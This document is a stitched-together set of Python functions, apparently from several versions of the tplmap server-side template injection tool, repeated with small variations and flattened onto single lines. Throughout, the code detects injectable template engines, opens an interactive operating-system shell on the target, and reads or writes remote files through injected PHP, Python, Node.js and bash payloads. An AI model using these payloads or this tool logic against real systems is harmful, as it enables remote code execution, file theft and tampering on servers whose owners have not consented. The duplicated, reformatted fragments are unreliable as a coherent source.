def __init__(self, args): self.args = args # Consider # as part of the query string, end encode \n self.url = self.args.get('url').replace('#', '%23').replace('\\n', '%0A') self.base_url = self.url.split("?")[0] if '?' in self.url else self.url self.data = {} self.get_params = {} self.get_placeholders = [] self.post_params = {} self.post_placeholders = [] self.header_params = {} self.header_placeholders = [] self._parse_get() self._parse_post() self._parse_header() self._parse_method() if len(self.post_placeholders + self.get_placeholders) > 1: log.warn('Error, multiple placeholder in parameters')
def __init__(self, args): self.args = args self.url = self.args.get('url') self.base_url = self.url.split("?")[0] if '?' in self.url else self.url self.data = {} self.get_params = {} self.get_placeholders = [] self.post_params = {} self.post_placeholders = [] self.header_params = {} self.header_placeholders = [] self._parse_get() self._parse_post() self._parse_header() self._parse_method() if len(self.post_placeholders + self.get_placeholders) > 1: log.warn('Error, multiple placeholder in parameters')
def read(self, remote_path): action = self.actions.get('read', {}) payload = action.get('read') call_name = action.get('call', 'render') # Skip if something is missing or call function is not set if not action or not payload or not call_name or not hasattr(self, call_name): return # Get remote file md5 md5_remote = self.md5(remote_path) if not md5_remote: log.warn('Error getting remote file md5, check presence and permission') return execution_code = payload % ({ 'path' : remote_path }) data_b64encoded = getattr(self, call_name)( code = execution_code, ) data = base64.b64decode(data_b64encoded) if not md5(data) == md5_remote: log.warn('Remote file md5 mismatch, check manually') else: log.info('File downloaded correctly') return data
def read(self, remote_path): action = self.actions.get('read', {}) payload = action.get('read') call_name = action.get('call', 'render') # Skip if something is missing or call function is not set if not action or not payload or not call_name or not hasattr( self, call_name): return # Get remote file md5 md5_remote = self.md5(remote_path) if not md5_remote: log.warn( 'Error getting remote file md5, check presence and permission') return execution_code = payload % ({'path': remote_path}) data_b64encoded = getattr(self, call_name)(code=execution_code, ) data = base64.b64decode(data_b64encoded) if not md5(data) == md5_remote: log.warn('Remote file md5 mismatch, check manually') else: log.info('File downloaded correctly') return data
def checkTemplateInjection(args): channel = Channel(args) current_plugin = None # Iterate all the available plugins until # the first template engine is detected. for plugin in plugins: current_plugin = plugin(channel) current_plugin.detect() if channel.data.get('engine'): break # Kill execution if no engine have been found if not channel.data.get('engine'): log.fatal("""Tested parameters appear to be not injectable. Try to increase '--level' value to perform more tests.""") return # If there are no operating system actions, exit if not any(f for f,v in args.items() if f in ('os_cmd', 'os_shell') and v ): log.warn("""Tested parameters have been found injectable.""") if channel.data.get('exec'): log.warn("""Try options '--os-cmd' or '--os-shell' to access the underlying operating system.""") # Execute single command if channel.data.get('exec'): if args.get('os_cmd'): print current_plugin.execute(args.get('os_cmd')) elif args.get('os_shell'): while True: command = raw_input('$ ') print current_plugin.execute(command.strip())
def detect(self): # If no weak reflection has been detected so far if not self.get('render_tag'): # Start detection self._detect_context() # Print message if header or trailer are still unset if self.get('header_tag') == None or self.get( 'trailer_tag') == None: if self.get('render_tag'): log.warn( '%s: Weak Reflection detected with tag %s, continuing' % (self.plugin, self.get('render_tag').replace( '\n', '\\n'))) # If tags found previously are the same as current plugin, skip context detection if not (self.get('render_tag') == self.render_tag and self.get('header_tag') == self.header_tag and self.get('trailer_tag') == self.trailer_tag): self._detect_context() # Exit if header or trailer are still different if not (self.get('render_tag') == self.render_tag and self.get('header_tag') == self.header_tag and self.get('trailer_tag') == self.trailer_tag): return log.warn('%s: Reflection detected with tag \'%s%s%s\'' % (self.plugin, self.get('prefix', '').replace( '\n', '\\n'), self.get('render_tag').replace('\n', '\\n'), self.get('suffix', '').replace('\n', '\\n'))) self.detect_engine() # Return if engine is still unset if not self.get('engine'): return log.warn('%s: Template engine \'%s\' detected' % (self.plugin, self.get('engine'))) self.detect_eval() # Print code evaluation state if eval is set if self.get('eval'): log.warn('%s: Code evaluation in \'%s\' detected' % (self.plugin, self.get('eval'))) self.detect_exec() # Print shell command execution state if eval is set if self.get('exec'): log.warn( '%s: Shell command execution detected on \'%s\' operating system' % (self.plugin, self.get('os', 'undetected')))
def _parse_get(self): params_dict_list = urlparse.parse_qs(urlparse.urlsplit(self.url).query) for param, value_list in params_dict_list.items(): self.get_params[param] = value_list if any(x for x in value_list if '*' in x): self.get_placeholders.append(param) log.warn('Found placeholder in GET parameter \'%s\'' % param)
def _parse_post(self): if self.args.get('data'): datas = urlparse.parse_qs(self.args.get('data')) for param_key, param_value in datas.iteritems(): self.post_params[param_key] = param_value if '*' in param_value: self.post_placeholders.append(param_key) log.warn('Found placeholder in POST parameter \'%s\'' % param_key)
def _parse_post(self): for param_value in self.args.get('post_data', '[]'): if '=' not in param_value: continue param, value = param_value.split('=') self.post_params[param] = value if '*' in value: self.post_placeholders.append(param) log.warn('Found placeholder in POST parameter \'%s\'' % param)
def _parse_header(self): for param_value in self.args.get('headers', '[]'): if ':' not in param_value: continue param, value = param_value.split(':') param = param.strip() value = value.strip() self.header_params[param] = value if '*' in value: self.header_placeholders.append(param) log.warn('Found placeholder in Header \'%s\'' % param)
def write(self, data, remote_path): action = self.actions.get('write', {}) payload_write = action.get('write') payload_truncate = action.get('truncate') call_name = action.get('call', 'inject') # Skip if something is missing or call function is not set if not action or not payload_write or not payload_truncate or not call_name or not hasattr( self, call_name): return # Check existance and overwrite with --force-overwrite if self.get('blind') or self.md5(remote_path): if not self.channel.args.get('force_overwrite'): if self.get('blind'): log.warn( 'Blind upload might overwrite files, run with --force-overwrite to continue' ) else: log.warn( 'Remote file already exists, run with --force-overwrite to overwrite' ) return else: execution_code = payload_truncate % ({'path': remote_path}) getattr(self, call_name)(code=execution_code) # Upload file in chunks of 500 characters for chunk in chunkit(data, 500): log.debug('[b64 encoding] %s' % chunk) chunk_b64 = base64.urlsafe_b64encode(chunk) execution_code = payload_write % ({ 'path': remote_path, 'chunk_b64': chunk_b64 }) getattr(self, call_name)(code=execution_code) if self.get('blind'): log.warn( 'Blind upload can\'t check the upload correctness, check manually' ) elif not md5(data) == self.md5(remote_path): log.warn('Remote file md5 mismatch, check manually') else: log.warn('File uploaded correctly')
def read(self, remote_path): # Get remote file md5 md5_remote = self._md5(remote_path) if not md5_remote: log.warn('Error getting remote file md5, check presence and permission') return data_b64encoded = self.evaluate("""print(base64_encode(file_get_contents("%s")));""" % remote_path) data = base64decode(data_b64encoded) if not md5(data) == md5_remote: log.warn('Remote file md5 mismatch, check manually') else: log.info('File downloaded correctly') return data
def read(self, remote_path): # Get remote file md5 md5_remote = self._md5(remote_path) if not md5_remote: log.warn('Error getting remote file md5, check presence and permission') return data_b64encoded = self.evaluate("""__import__("base64").b64encode(open("%s", "rb").read())""" % remote_path) data = base64decode(data_b64encoded) if not md5(data) == md5_remote: log.warn('Remote file md5 mismatch, check manually') else: log.info('File downloaded correctly') return data
def read(self, remote_path): # Get remote file md5 md5_remote = self._md5(remote_path) if not md5_remote: log.warn('Error getting remote file md5, check presence and permission') return data_b64encoded = self.evaluate("""__import__("base64").b64encode(open("%s", "rb").read())""" % remote_path) data = base64.b64decode(data_b64encoded) if not md5(data) == md5_remote: log.warn('Remote file md5 mismatch, check manually') else: log.info('File downloaded correctly') return data
def checkTemplateInjection(args): channel = Channel(args) current_plugin = None # Iterate all the available plugins until # the first template engine is detected. for plugin in plugins: current_plugin = plugin(channel) current_plugin.detect() if channel.data.get('engine'): break # Kill execution if no engine have been found if not channel.data.get('engine'): log.fatal( """Tested parameters appear to be not injectable. Try to increase '--level' value to perform more tests.""" ) return # If there are no operating system actions, exit if not any(f for f, v in args.items() if f in ('os_cmd', 'os_shell') and v): log.warn("""Tested parameters have been found injectable.""") if channel.data.get('exec'): log.warn( """Try options '--os-cmd' or '--os-shell' to access the underlying operating system.""" ) # Execute operating system commands if channel.data.get('exec'): if args.get('os_cmd'): print current_plugin.execute(args.get('os_cmd')) elif args.get('os_shell'): log.warn('Run commands on the operating system.') Shell(current_plugin.execute, '%s $ ' % (channel.data.get('os', ''))).cmdloop() # Execute operating system commands if channel.data.get('engine'): if args.get('tpl_code'): print current_plugin.inject(args.get('os_cmd')) elif args.get('tpl_shell'): log.warn( 'Inject multi-line template code. Double empty line to send the data.' ) MultilineShell(current_plugin.inject, '%s $ ' % (channel.data.get('engine', ''))).cmdloop()
def write(self, data, remote_path): action = self.actions.get('write', {}) payload_write = action.get('write') payload_truncate = action.get('truncate') call_name = action.get('call', 'inject') # Skip if something is missing or call function is not set if not action or not payload_write or not payload_truncate or not call_name or not hasattr(self, call_name): return # Check existance and overwrite with --force-overwrite if self.get('blind') or self.md5(remote_path): if not self.channel.args.get('force_overwrite'): if self.get('blind'): log.warn('Blind upload might overwrite files, run with --force-overwrite to continue') else: log.warn('Remote file already exists, run with --force-overwrite to overwrite') return else: execution_code = payload_truncate % ({ 'path' : remote_path }) getattr(self, call_name)( code = execution_code ) # Upload file in chunks of 500 characters for chunk in chunkit(data, 500): log.debug('[b64 encoding] %s' % chunk) chunk_b64 = base64.urlsafe_b64encode(chunk) execution_code = payload_write % ({ 'path' : remote_path, 'chunk_b64' : chunk_b64 }) getattr(self, call_name)( code = execution_code ) if self.get('blind'): log.warn('Blind upload can\'t check the upload correctness, check manually') elif not md5(data) == self.md5(remote_path): log.warn('Remote file md5 mismatch, check manually') else: log.warn('File uploaded correctly')
def read(self, remote_path): # Get remote file md5 md5_remote = self._md5(remote_path) if not md5_remote: log.warn( 'Error getting remote file md5, check presence and permission') return data_b64encoded = self.evaluate( """print(base64_encode(file_get_contents("%s")));""" % remote_path) data = base64.b64decode(data_b64encoded) if not md5(data) == md5_remote: log.warn('Remote file md5 mismatch, check manually') else: log.info('File downloaded correctly') return data
def write(self, data, remote_path): # Check existance and overwrite with --force-overwrite if self._md5(remote_path): if not self.channel.args.get('force_overwrite'): log.warn('Remote path already exists, use --force-overwrite for overwrite') return else: self.evaluate("""open("%s", 'w').close()""" % remote_path) # Upload file in chunks of 500 characters for chunk in chunkit(data, 500): chunk_b64 = base64.urlsafe_b64encode(chunk) self.evaluate("""open("%s", 'ab+').write(__import__("base64").urlsafe_b64decode('%s'))""" % (remote_path, chunk_b64)) if not md5(data) == self._md5(remote_path): log.warn('Remote file md5 mismatch, check manually') else: log.info('File uploaded correctly')
def write(self, data, remote_path): # Check existance and overwrite with --force-overwrite if self._md5(remote_path): if not self.channel.args.get('force_overwrite'): log.warn('Remote path already exists, use --force-overwrite for overwrite') return else: self.execute("bash -c {echo,-n,}>%s" % (remote_path)) # Upload file in chunks of 500 characters for chunk in chunkit(data, 500): chunk_b64 = base64encode(chunk) self.execute("bash -c {base64,--decode}<<<%s>>%s" % (chunk_b64, remote_path)) if not md5(data) == self._md5(remote_path): log.warn('Remote file md5 mismatch, check manually') else: log.info('File uploaded correctly')
def read(self, remote_path): # Get remote file md5 md5_remote = self._md5(remote_path) if not md5_remote: log.warn('Error getting remote file md5, check presence and permission') return # Using base64 since self.execute() calling self.inject() strips # the response, corrupting the data data_b64encoded = self.execute('bash -c base64<%s' % remote_path) data = base64decode(data_b64encoded) if not md5(data) == md5_remote: log.warn('Remote file md5 mismatch, check manually') else: log.info('File downloaded correctly') return data
def read(self, remote_path): # Get remote file md5 md5_remote = self._md5(remote_path) if not md5_remote: log.warn('Error getting remote file md5, check presence and permission') return # Use base64 since self.execute() calling self.inject() strips # the response, corrupting the data data_b64encoded = self.inject("""= global.process.mainModule.require('fs').readFileSync('%s').toString('base64')""" % remote_path) data = base64decode(data_b64encoded) if not md5(data) == md5_remote: log.warn('Remote file md5 mismatch, check manually') else: log.info('File downloaded correctly') return data
def read(self, remote_path): # Get remote file md5 md5_remote = self._md5(remote_path) if not md5_remote: log.warn( 'Error getting remote file md5, check presence and permission') return # Using base64 since self.execute() calling self.inject() strips # the response, corrupting the data data_b64encoded = self.execute('bash -c base64<%s' % remote_path) data = base64.b64decode(data_b64encoded) if not md5(data) == md5_remote: log.warn('Remote file md5 mismatch, check manually') else: log.info('File downloaded correctly') return data
def write(self, data, remote_path): # Check existance and overwrite with --force-overwrite if self._md5(remote_path): if not self.channel.args.get('force_overwrite'): log.warn( 'Remote path already exists, use --force-overwrite for overwrite' ) return else: self.inject( """- global.process.mainModule.require('fs').writeFileSync('%s', '')""" % remote_path) # Upload file in chunks of 500 characters for chunk in chunkit(data, 500): chunk_b64 = base64.urlsafe_b64encode(chunk) self.inject( """- global.process.mainModule.require('fs').appendFileSync('%s', Buffer('%s', 'base64'), 'binary')""" % (remote_path, chunk_b64)) if not md5(data) == self._md5(remote_path): log.warn('Remote file md5 mismatch, check manually') else: log.warn('File uploaded correctly')
def write(self, data, remote_path): # Check existance and overwrite with --force-overwrite if self._md5(remote_path): if not self.channel.args.get('force_overwrite'): log.warn( 'Remote path already exists, use --force-overwrite for overwrite' ) return else: self.evaluate("""file_put_contents("%s", "");""" % (remote_path)) # Upload file in chunks of 500 characters for chunk in chunkit(data, 500): chunk_b64 = base64.urlsafe_b64encode(chunk) self.evaluate( """$d="%s"; file_put_contents("%s", base64_decode(str_pad(strtr($d, '-_', '+/'), strlen($d)%%4,'=',STR_PAD_RIGHT)),FILE_APPEND);""" % (chunk_b64, remote_path)) if not md5(data) == self._md5(remote_path): log.warn('Remote file md5 mismatch, check manually') else: log.warn('File uploaded correctly')
def write(self, data, remote_path): # Check existance and overwrite with --force-overwrite if self._md5(remote_path): if not self.channel.args.get('force_overwrite'): log.warn( 'Remote path already exists, use --force-overwrite for overwrite' ) return else: self.execute("bash -c {echo,-n,}>%s" % (remote_path)) # Upload file in chunks of 500 characters for chunk in chunkit(data, 500): chunk_b64 = base64.urlsafe_b64encode(chunk) self.execute("bash -c {base64,--decode}<<<{tr,/+,_-}<<<%s>>%s" % (chunk_b64, remote_path)) if not md5(data) == self._md5(remote_path): log.warn('Remote file md5 mismatch, check manually') else: log.info('File uploaded correctly')
def read(self, remote_path): # Get remote file md5 md5_remote = self._md5(remote_path) if not md5_remote: log.warn( 'Error getting remote file md5, check presence and permission') return # Use base64 since self.execute() calling self.inject() strips # the response, corrupting the data data_b64encoded = self.inject( """= global.process.mainModule.require('fs').readFileSync('%s').toString('base64')""" % remote_path) data = base64.b64decode(data_b64encoded) if not md5(data) == md5_remote: log.warn('Remote file md5 mismatch, check manually') else: log.info('File downloaded correctly') return data
def _parse_header(self): for param_value in self.args.get('headers', '[]'): if ':' not in param_value: continue param, value = param_value.split(':') param = param.strip() value = value.strip() self.header_params[param] = value if '*' in value: self.header_placeholders.append(param) log.warn('Found placeholder in Header \'%s\'' % param) # Set user agent if not set already user_agent = self.args.get('user_agent') if not user_agent: user_agent = 'tplmap/%s' % self.args.get('version') if not 'User-Agent' in self.header_params: self.header_params['User-Agent'] = user_agent
def _parse_header(self): for param_value in self.args.get('headers').split('\\r\\n'): if ':' not in param_value: continue param, value = param_value.split(':') param = param.strip() value = value.strip() self.header_params[param] = value if '*' in value: self.header_placeholders.append(param) log.warn('Found placeholder in Header \'%s\'' % param) # Set user agent if not set already user_agent = self.args.get('user_agent') if not user_agent: user_agent = 'tplmap/%s' % self.args.get('version') if not 'User-Agent' in self.header_params: self.header_params['User-Agent'] = user_agent
def checkTemplateInjection(args): channel = Channel(args) current_plugin = None # Iterate all the available plugins until # the first template engine is detected. for plugin in plugins: current_plugin = plugin(channel) current_plugin.detect() if channel.data.get('engine'): break # Kill execution if no engine have been found if not channel.data.get('engine'): log.fatal("""Tested parameters appear to be not injectable. Try to increase '--level' value to perform more tests.""") return # If there are no operating system actions, exit if not any(f for f,v in args.items() if f in ('os_cmd', 'os_shell') and v ): log.warn("""Tested parameters have been found injectable.""") if channel.data.get('exec'): log.warn("""Try options '--os-cmd' or '--os-shell' to access the underlying operating system.""") # Execute operating system commands if channel.data.get('exec'): if args.get('os_cmd'): print current_plugin.execute(args.get('os_cmd')) elif args.get('os_shell'): log.warn('Run commands on the operating system.') Shell(current_plugin.execute, '%s $ ' % (channel.data.get('os', ''))).cmdloop() # Execute operating system commands if channel.data.get('engine'): if args.get('tpl_code'): print current_plugin.inject(args.get('os_cmd')) elif args.get('tpl_shell'): log.warn('Inject multi-line template code. Double empty line to send the data.') MultilineShell(current_plugin.inject, '%s $ ' % (channel.data.get('engine', ''))).cmdloop()
def write(self, data, remote_path): # Check existance and overwrite with --force-overwrite if self._md5(remote_path): if not self.channel.args.get('force_overwrite'): log.warn('Remote path already exists, use --force-overwrite for overwrite') return else: self.inject("""- global.process.mainModule.require('fs').writeFileSync('%s', '')""" % remote_path) # Upload file in chunks of 500 characters for chunk in chunkit(data, 500): chunk_b64 = base64encode(chunk) self.inject("""- global.process.mainModule.require('fs').appendFileSync('%s', Buffer.from('%s', 'base64'), 'binary')""" % (remote_path, chunk_b64)) if not md5(data) == self._md5(remote_path): log.warn('Remote file md5 mismatch, check manually') else: log.warn('File uploaded correctly')
def write(self, data, remote_path): # Check existance and overwrite with --force-overwrite if self._md5(remote_path): if not self.channel.args.get('force_overwrite'): log.warn('Remote path already exists, use --force-overwrite for overwrite') return else: self.evaluate("""file_put_contents("%s", "");""" % (remote_path)) # Upload file in chunks of 500 characters for chunk in chunkit(data, 500): chunk_b64 = base64encode(chunk) self.evaluate("""file_put_contents("%s", base64_decode("%s"), FILE_APPEND);""" % (remote_path, chunk_b64)) if not md5(data) == self._md5(remote_path): log.warn('Remote file md5 mismatch, check manually') else: log.warn('File uploaded correctly')
def detect(self): # If no weak reflection has been detected so far if not self.get('render_tag'): # Start detection self._detect_context() # Print message if header or trailer are still unset if self.get('header_tag') == None or self.get('trailer_tag') == None: if self.get('render_tag'): log.warn('%s: Weak Reflection detected with tag %s, continuing' % ( self.plugin, self.get('render_tag').replace('\n', '\\n')) ) # If tags found previously are the same as current plugin, skip context detection if not ( self.get('render_tag') == self.render_tag and self.get('header_tag') == self.header_tag and self.get('trailer_tag') == self.trailer_tag ): self._detect_context() # Exit if header or trailer are still different if not ( self.get('render_tag') == self.render_tag and self.get('header_tag') == self.header_tag and self.get('trailer_tag') == self.trailer_tag ): return log.warn('%s: Reflection detected with tag \'%s%s%s\'' % ( self.plugin, self.get('prefix', '').replace('\n', '\\n'), self.get('render_tag').replace('\n', '\\n'), self.get('suffix', '').replace('\n', '\\n') ) ) self.detect_engine() # Return if engine is still unset if not self.get('engine'): return log.warn('%s: Template engine \'%s\' detected' % (self.plugin, self.get('engine'))) self.detect_eval() # Print code evaluation state if eval is set if self.get('eval'): log.warn('%s: Code evaluation in \'%s\' detected' % (self.plugin, self.get('eval'))) self.detect_exec() # Print shell command execution state if eval is set if self.get('exec'): log.warn( '%s: Shell command execution detected on \'%s\' operating system' % ( self.plugin, self.get('os', 'undetected') ) )